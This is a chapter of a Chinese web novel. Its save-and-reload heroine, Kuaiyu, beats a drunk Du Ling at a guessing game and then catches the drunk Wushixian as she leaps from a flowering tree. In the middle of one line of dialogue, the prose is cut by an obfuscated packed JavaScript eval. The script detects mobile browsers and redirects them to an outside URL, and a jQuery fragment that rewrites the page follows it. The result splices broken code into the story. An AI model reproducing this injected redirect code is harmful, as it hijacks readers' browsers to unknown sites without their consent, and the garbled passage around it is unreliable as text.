“你怎么在这里?”
孟府难得热闹,快雨却不习惯。
在一片推杯换盏声中,她随便寻了个由头离场,结果刚走到偏僻处就看见了杜瓴这个家伙。
杜瓴坐在桌边,面前竟摆了不少装点精致的小菜……自娱自乐,倒像在这儿单独开了一场宴会。
他抬眼见快雨闯入打扰,又如此询问,不禁沉默思索片刻:“你认得我?”
哦,差点忘了。
在这个存档里,他们还是仅拥有一面之缘的陌生人呢。
“额……孟小姐,孟落英跟我说过你的事情。”快雨张口就来,但不算完全瞎说,“我记得,你会和我们一起去金庭,对吧?”
“……”杜瓴不可思议地瞪大眼,“她连这种事都和你讲了?”
快雨轻轻点头。
杜瓴倒吸一口凉气,转而,他耸耸肩:“行吧,既然是一路的,她信任你,那我也懒得再说什么。”
快雨笑笑:“孟落英邀请你来的吗?”
按理来说,孟晚钟应该和杜瓴不熟,而他能出现在这里的原因,快雨想来想去,目前只能联系到孟落英。
谁知杜瓴听了,竟摆摆手:“没有啊,我很自觉,不请自来的。”
快雨:?
“你敢信吗,孟落英说我像饿死鬼,容易把孟府吃垮。”
杜瓴撇了撇嘴,“我看,她也是鬼,——小气鬼。她偌大一个孟府我怎么可能吃得垮?!”
快雨想了想:“……开玩笑的吧。毕竟你被孟府下人盯上过,邀请你进来未免太招摇。她可能是在怕这一点。”
他冷哼,并不回答。
一盏提灯被扔在脚边,发光悄无声息——他支着筷子,神色百无聊赖,显然是一个人坐久了。
接着,杜瓴的眼珠一转,落在快雨身上,他指尖弹弹酒杯杯身:“刚好闲的,来玩会儿?”
“……玩儿?”快雨狐疑地眯起眼睛,好奇道,“玩儿什么?”
他们繁金教徒都玩些什么东西?
“猜枚。”杜瓴抓起一把瓜子握在手心,“猜单双,输了喝酒,怎么样?”
“……”就这?
快雨望望远处明亮未歇、热闹依旧,心想着时间还没到,于是便爽快答应下来,“你确定吗?猜枚我可从来没输过哦?”
杜瓴当即瞪大眼睛,对她的大放厥词十分震惊:“这么嚣张?我不服,来战!”
……
“我服了。”
杜瓴顶着一张被酒气熏红的脸,怒拍桌面,强烈怀疑人生中,“你已经连赢七把,而我每一把都输,这合理吗??”
瓜子果仁都因这力道随桌面震颤。
快雨淡定自若:“我说了,我必赢。”
有存读档辅助,当然不在话下。
谁来都赢不了!
“啊啊啊我不信!”杜瓴抓耳挠腮,“你是不是用了法术?还是融了什么特别会猜枚的鬼?”
……不是,谁会为了猜枚专门去抓一只赌鬼啊!!
快雨无言,过会儿又给对方补了一刀:“恕我直言,赢你不需要法术。”
“这么讽刺我?”大概酒劲上来了,杜瓴开始演技大爆发,痛心疾首道,“我永远都不会原谅你的,永远不会!”
快雨感觉他醉酒糊里糊涂的样子好笑,但还是憋着站起身,打算向他道别。
还没等快雨开口,杜瓴竟先看出了她的意图:“就走了?”
“嗯。”
杜瓴打了个哈欠,烦躁地揉揉额角。
“……算了,跟你相处挺有意思的。看你这么会赌,我认可你了!姑且提醒你一下吧。”
他说,“今天我看到有个可疑的男人混进孟府,看样子,他好像也是繁金道教的,但我不认识。”
“总觉得那人会搞什么小动作,你和孟落英还是小心点儿。”
快雨呼吸一顿,摁住桌面,身子向前倾倒,急急追问:“他穿什么颜色的衣服?”
杜瓴皱眉:“啊,我记得是……”
*
红。
鲜艳热烈。
他站在恣意盛开的雪白花树旁,保持着仰望姿势,纹丝不动,衣衫的颜色竟比周遭一切都还醒目两分。
快雨定在拐角处,扶着墙,强压喘息使其平稳。
……所以为什么要跑着来找他呢?
快雨突然为自己的头脑一热生出懊恼。
现在离近了,反倒有点不敢上前。
她半边脸庞没入阴影,心生退意。
要不还是回去吧,他们之间好像也没什么可聊的了……
快雨后退两步,准备偷偷溜走。
这时,那人竟察觉到什么,向这边投来一瞥。
这一瞥,正正好与快雨四目相对。
今晚,那双眼睛竟没有被叆叇遮挡,有无数灯火的亮光揉碎在沉黑之底,星辰零碎的印迹才得以缀饰、停留。
他微张嘴唇,同样的惊讶。随即,喜悦迅速感染眉梢,他扬起一个笑。
然后,他静静投以温和的视线,似乎在等待自己靠近。
再掉头就走的话是不是不太好?
“……”快雨犹豫。
……读档后,快雨没有选择再和他相遇,如此一来,现在应该是在离开离岸乡后,两人的第一次见面。
快雨打定主意,终于朝他走去。
这个五十弦对「快雨已经了解过真相」这一事件一无所知。
所以,他还能假装。
……
那么,她也可以装。
“你居然会在这里。”
走近了,才发现,五十弦的眼睑下亦晕开一层薄绯,与此同时,一股酒气从他的衣角扑入微风,顺势撩过快雨鼻尖。
这是……喝酒了?
“是啊,孟公子请我来的,没想到能看见你。很巧吧?”五十弦在快雨走到身旁后,又重新抬头,眼神不知飘到哪里去,“巧到我都以为是命中注定了。”
“……”快雨随着他注意的方向望过去,什么都没看到,不由发问,“你在看什么?”
五十弦给她指了指花树的最高处,兴致勃勃地解释:“我在看,也在等。”
“我在等我的花落下来。它最好看,对吧?”
等花落?
那花树最上面的一枝确实开得最漂亮,但人家好端端的,没有枯萎的迹象,这会儿又没有什么大风,怎么无缘无故落下来?
快雨这么说:“它落不下来的。”
“不。它一定会落下来的,天上的弯刀会把它带给我。”
天上的弯刀?什么玩意??
快雨仔细瞧了好一会儿:“你说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114518|159725||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得,该不会是月亮吧??”
五十弦摇头,纠正她:“是弯刀。”
“……你真喝醉了啊。”快雨扶额。
而且还醉得不轻。
“我给你找个地方休息吧。”快雨牵住五十弦的衣角,想扯着他离开这里。
谁知,他脚底跟生了根似的,宁死不离开这个地方:“花还没落下来,我不!”
“……”快雨故意凶巴巴道,“那我不管你了。”
说完,提步就要迈。
结果,手腕又被那人拉住。
五十弦不肯松手,理不直气也壮:“你不许走,陪我一起等。”
快雨:??
大眼瞪小眼良久,快雨忍不住道:“五十弦,你幼不幼稚?!”
五十弦闻言只哼一声,不言不语,力气还是一点没卸。
搞得她发出了和杜瓴一样的感慨——
我服了。
快雨狠狠叹气:“你想要它,对吧?”
他乖乖点头。
“我去摘给你。”快雨拍拍五十弦的手背,“放了吧。”
孟府内除了孟母院子里的花不能破坏以外,其他地方都对快雨没什么限制。虽然平时她不怎么会去摘就是了。
毕竟,花是用来欣赏的,脱离了根系,很快就会衰败。
这次……就当拿来哄人了吧。
过了好一会儿,确认了快雨不是想掉头就跑的五十弦总算听话地放开。
快雨走到树前。
待在恐游世界里磨练太长时间,她的身手都变好不少。
只三两下,快雨轻轻松松上树。
拽着那莹白似雪的花枝,她用力,将其最好看的一枝攀折下来。
随后,她小心地蹲下,示意五十弦过来:“拿着吧。”
快雨需要五十弦先接过花枝,这样她就好解放双手,方便从高处下来。
然而,五十弦如此提议:“干脆你直接跳下来吧,没事的。”
“……”
快雨大皱眉头,“真的,你行吗?”
五十弦喝醉了,真怕他不小心把重影当成自己接住……
那悲催的她可就要再读档了。
“当然啦,来吧!一定一定不会有事的!”
五十弦的信誓旦旦令快雨不得已妥协。
“好吧。”
她瞅准位置,一狠心,跳了下去——
下坠的感觉不算太好,但没关系,很快,就被有力的臂膀托住身体。
他眼中的欣喜迸发出更加灼热的温度。
快雨还在恍惚。
因为这一幕似曾相识。
她的右手捏紧花枝,不自觉举到脸旁。她的四肢有些蜷缩,整个人紧张未褪。
五十弦却值此时喟叹,雀跃不已。
“太好了,我的花落下来了。”
快雨愣住。
她可能是被对方身上萦绕的酒气感染,此刻竟呆滞地一动不动,一言不发。
五十弦眉眼弯弯,下一息,收敛神色,骤然贴近。
一片柔软轻轻垂落,与花瓣触碰……亦与脸颊触碰。
快雨下意识屏息凝神。
当然,并非亲吻。
他只是俯身埋首,低语呢喃,用了一个完完全全投身于彼此的拥抱。
“谢谢。”